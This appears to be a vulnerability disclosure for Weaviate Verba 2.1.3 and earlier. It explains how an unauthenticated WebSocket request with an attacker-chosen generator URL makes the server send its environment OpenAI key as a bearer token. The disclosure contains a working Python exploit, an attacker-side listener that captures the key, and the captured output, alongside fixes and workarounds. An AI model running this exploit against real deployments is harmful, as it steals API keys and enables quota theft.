Skip to content

Instantly share code, notes, and snippets.

@DReazer

DReazer/Verba.md Secret

Created August 25, 2026 03:22
Show Gist options
  • Select an option

  • Save DReazer/63d8096046a058f9c7a533846db5e2ac to your computer and use it in GitHub Desktop.

Select an option

Save DReazer/63d8096046a058f9c7a533846db5e2ac to your computer and use it in GitHub Desktop.
ver

Weaviate Verba <= 2.1.3 — Unauthenticated LLM API Key Exfiltration via Client-Controlled Generator URL

Summary

Weaviate Verba (package goldenverba) versions up to and including 2.1.3 allow an unauthenticated network attacker to steal LLM / parser API keys from the server process environment.

The unauthenticated WebSocket endpoint /ws/generate_stream accepts a full RAG generator configuration from the caller. If the attacker supplies a custom OpenAI-compatible URL and omits the API Key field, Verba reads the real key from the environment (OPENAI_API_KEY) and sends it as Authorization: Bearer <env-key> to the attacker-controlled base URL.

This is not CVE-2026-65317 (VulDB 381398) and not CVE-2026-65318 (VulDB 382255). Those two already-assigned CVEs are unauthenticated SSRF GET sinks (Custom Weaviate /api/connect, HTMLReader /ws/import_files). They do not attach process environment secrets to the outbound request. This issue uses a different WebSocket (/ws/generate_stream) and makes the server POST to a caller-chosen URL with Authorization: Bearer <env API key>.

No patch is available. The Verba repository was archived on 8 June 2026.

Description

Weaviate Verba (goldenverba) through version 2.1.3 contains an unauthenticated LLM API-key exfiltration vulnerability in the generate WebSocket. A remote attacker can connect to /ws/generate_stream without authentication or an Origin header, send a RAG generator configuration that sets a custom OpenAI-compatible URL and omits the API Key field, and cause the server to read OPENAI_API_KEY from the process environment. Verba then issues an HTTP POST to the attacker-controlled base URL with Authorization: Bearer <environment key>, disclosing the live provider secret. The same get_environment() fallback applies to sibling keys (OPENAI_EMBED_API_KEY, UPSTAGE_API_KEY, UNSTRUCTURED_API_KEY, EMBEDDING_SERVICE_KEY) when the corresponding URL is attacker-controlled. This is distinct from CVE-2026-65317 (/api/connect Origin bypass + Custom Weaviate GET SSRF) and CVE-2026-65318 (/ws/import_files HTMLReader GET SSRF), which do not attach environment secrets to the outbound request.

Vendor / product

  • Vendor: Weaviate
  • Product: Verba (The Golden RAGtriever), PyPI name goldenverba
  • Affected: all published releases through 2.1.3 (Docker image semitechnologies/verba:latest also affected)
  • Repo: https://github.com/weaviate/Verba
  • Confirmed on: v2.1.3 source and semitechnologies/verba:latest (local Docker)

Weakness

  • CWE-918: Server-Side Request Forgery (SSRF)
  • CWE-522: Insufficiently Protected Credentials
  • CWE-306: Missing Authentication for Critical Function

CVSS 4.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Base score: 9.2 Critical

Same vector already assigned to CVE-2026-65317 / CVE-2026-65318 (VulnCheck). Network, low complexity, no attack requirements, no privileges, no user interaction. Vulnerable-system confidentiality is High because a live provider API key is taken from the Verba process environment. Subsequent-system confidentiality is High because that key is usable against the third-party LLM provider (quota theft, access to that key's resources). Integrity and availability are None.

Prerequisite (does not raise AT to Present): the Verba process has a corresponding environment key set. That is the documented Docker / production setup (OPENAI_API_KEY, and the same pattern exists for Upstage / Unstructured / Weaviate embedding service URLs).

Root cause

  1. /ws/generate_stream is not under /api/, is not covered by the HTTP Origin middleware, and performs no authentication. GeneratePayload does not even require Weaviate credentials.
# goldenverba/server/api.py
@app.websocket("/ws/generate_stream")
async def websocket_generate_stream(websocket: WebSocket):
    await websocket.accept()
    payload = GeneratePayload.model_validate_json(data)
    async for chunk in manager.generate_stream_answer(
        payload.rag_config, payload.query, payload.context, payload.conversation
    ):
        ...
  1. Client-supplied rag_config is passed straight into the selected generator.

  2. get_environment() prefers a key from the request-controlled config dict; if that field is absent it falls back to os.environ:

# goldenverba/components/util.py
def get_environment(config, value: str, env: str, error_msg: str) -> str:
    if value in config:
        token = config[value].value
    else:
        token = os.environ.get(env)
    if not token or token == "":
        raise Exception(error_msg)
    return token
  1. OpenAIGenerator.generate_stream() uses that helper for both the API key and the base URL, then POSTs with the env bearer token:
# goldenverba/components/generation/OpenAIGenerator.py
openai_key = get_environment(config, "API Key", "OPENAI_API_KEY", "No OpenAI API Key found")
openai_url = get_environment(config, "URL", "OPENAI_BASE_URL", "https://api.openai.com/v1")
headers = {"Authorization": f"Bearer {openai_key}", ...}
client.stream("POST", f"{openai_url}/chat/completions", json=data, headers=headers, ...)

When OPENAI_API_KEY is set in the environment, Verba's default config does not include an API Key field. An attacker who sends a config containing URL but not API Key therefore gets: attacker URL + real env key.

The same get_environment() pattern applies to:

Component URL field Env key used if API Key omitted
OpenAI Generator / Embedder URL OPENAI_API_KEY / OPENAI_EMBED_API_KEY
Upstage Generator / Embedder URL UPSTAGE_API_KEY
Unstructured Reader API URL UNSTRUCTURED_API_KEY
Weaviate Embedder URL EMBEDDING_SERVICE_KEY

The OpenAI generator path via /ws/generate_stream was dynamically confirmed (no Weaviate credentials, no Origin header).

Impact

An unauthenticated attacker who can reach Verba's web port (official Docker bind is 0.0.0.0:8000) can:

  • Exfiltrate OPENAI_API_KEY (and the sibling keys above, by the same config trick)
  • Use the stolen key against the real provider (billing abuse, model access)
  • Do this without Origin spoofing and without a Weaviate login

Proof of concept (validated)

Environment used for the live test:

Docker Compose:
  semitechnologies/verba:latest
  semitechnologies/weaviate:1.25.10
Verba env:
  OPENAI_API_KEY=sk-verba-canary-exfil-9f3a2c1bDEADBEEF
Attacker listener on the Docker host: 0.0.0.0:18080

1) Listener (host)

#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
import sys

class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        auth = self.headers.get("Authorization", "<missing>")
        print(f"{self.command} {self.path} {auth}", flush=True)
        length = int(self.headers.get("Content-Length") or 0)
        if length:
            self.rfile.read(length)
        self.send_response(200)
        self.send_header("Content-Type", "text/event-stream")
        self.end_headers()
        self.wfile.write(b'data: {"choices":[{"delta":{"content":"ok"},"finish_reason":"stop"}]}\n\n')
        self.wfile.write(b"data: [DONE]\n\n")

    def log_message(self, fmt, *args):
        sys.stdout.write("%s - %s\n" % (self.address_string(), fmt % args))

HTTPServer(("0.0.0.0", 18080), Handler).serve_forever()

2) Exploit (no Origin, no credentials)

#!/usr/bin/env python3
import json
import websocket

ws = websocket.create_connection("ws://127.0.0.1:8000/ws/generate_stream", timeout=20)
ws.send(json.dumps({
    "query": "ping",
    "context": "",
    "conversation": [],
    "rag_config": {
        "Generator": {
            "selected": "OpenAI",
            "components": {
                "OpenAI": {
                    "name": "OpenAI",
                    "variables": [],
                    "library": [],
                    "description": "x",
                    "type": "Generator",
                    "available": True,
                    "config": {
                        "Model": {
                            "type": "dropdown",
                            "value": "gpt-3.5-turbo",
                            "description": "x",
                            "values": ["gpt-3.5-turbo"],
                        },
                        "System Message": {
                            "type": "textarea",
                            "value": "You are Verba",
                            "description": "x",
                            "values": [],
                        },
                        "URL": {
                            "type": "text",
                            "value": "http://host.docker.internal:18080/v1",
                            "description": "x",
                            "values": [],
                        }
                        # "API Key" intentionally omitted -> env OPENAI_API_KEY is used
                    },
                }
            },
        }
    },
}))
print(ws.recv())
ws.close()

pip install websocket-client is enough for the client.

3) Observed result (live Docker run)

Listener received:

POST /v1/chat/completions HTTP/1.1
Host: host.docker.internal:18080
User-Agent: python-httpx/0.27.0
Content-Type: application/json
Authorization: Bearer sk-verba-canary-exfil-9f3a2c1bDEADBEEF

Body:

{"messages":[{"role":"system","content":"You are Verba"},{"role":"user","content":"Answer this query: 'ping' with this provided context: "}],"model":"gpt-3.5-turbo","stream":true}

The bearer token matched docker exec <verba> printenv OPENAI_API_KEY.

Live reproduction (unauthenticated python poc_key_exfil_exploit.py against local Docker; catcher on :18080 received the canary env key):

PoC: unauthenticated /ws/generate_stream leaks OPENAI_API_KEY as Authorization Bearer

https://github.com/DReazer/CV3/blob/main/pngs/ver.png

Why this is not CVE-2026-65317 or CVE-2026-65318

Public Verba CVEs already cover geo-chen's two SSRF findings. This is a third, distinct issue.

CVE-2026-65317 / VulDB 381398 CVE-2026-65318 / VulDB 382255 This issue
Source geo-chen Finding 2 geo-chen Finding 1 this report
Entry HTTP POST /api/connect after Origin bypass unauthenticated WS /ws/import_files unauthenticated WS /ws/generate_stream
Component Weaviate Custom connect HTMLReader session.get(url) OpenAIGenerator get_environment() + POST
Outbound GET /v1/meta to attacker host:port GET attacker/internal URL (no auth header) POST /chat/completions to attacker URL
Secret in outbound request No No (credentials only if the GET target is IMDS / an internal service) Yes — Authorization: Bearer <OPENAI_API_KEY from env>
CWE CWE-918 CWE-918 CWE-918 + CWE-522 + CWE-306
Fix Origin check + host allowlist URL allowlist / block private IPs Do not send env secrets to a client-supplied base URL; authenticate WebSockets

CVE-2026-65318 is the closer of the two (unauthenticated WebSocket + attacker URL) but is still a different sink: HTMLReader never reads OPENAI_API_KEY and never emits a Bearer header.

Blocking RFC1918 / metadata hosts does not fix this issue: the destination is the attacker's public (or host-mapped) server, and the impact is the environment key itself.

Recommended fix

  • Require authentication on /ws/generate_stream and /ws/import_files.
  • Do not accept a caller-supplied generator/embedder/reader URL when the API key is taken from the environment. If a custom URL is allowed at all, require the caller to supply their own key and never mix it with server env credentials.
  • Allowlist outbound LLM/base URLs at startup (OPENAI_BASE_URL), not per request.

Workaround (no upstream patch)

Do not expose Verba on 0.0.0.0. Bind to loopback or put it behind auth. Restrict egress so the Verba container can only reach the intended provider. Rotate any API keys that were present in the process environment of an exposed instance.

References

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment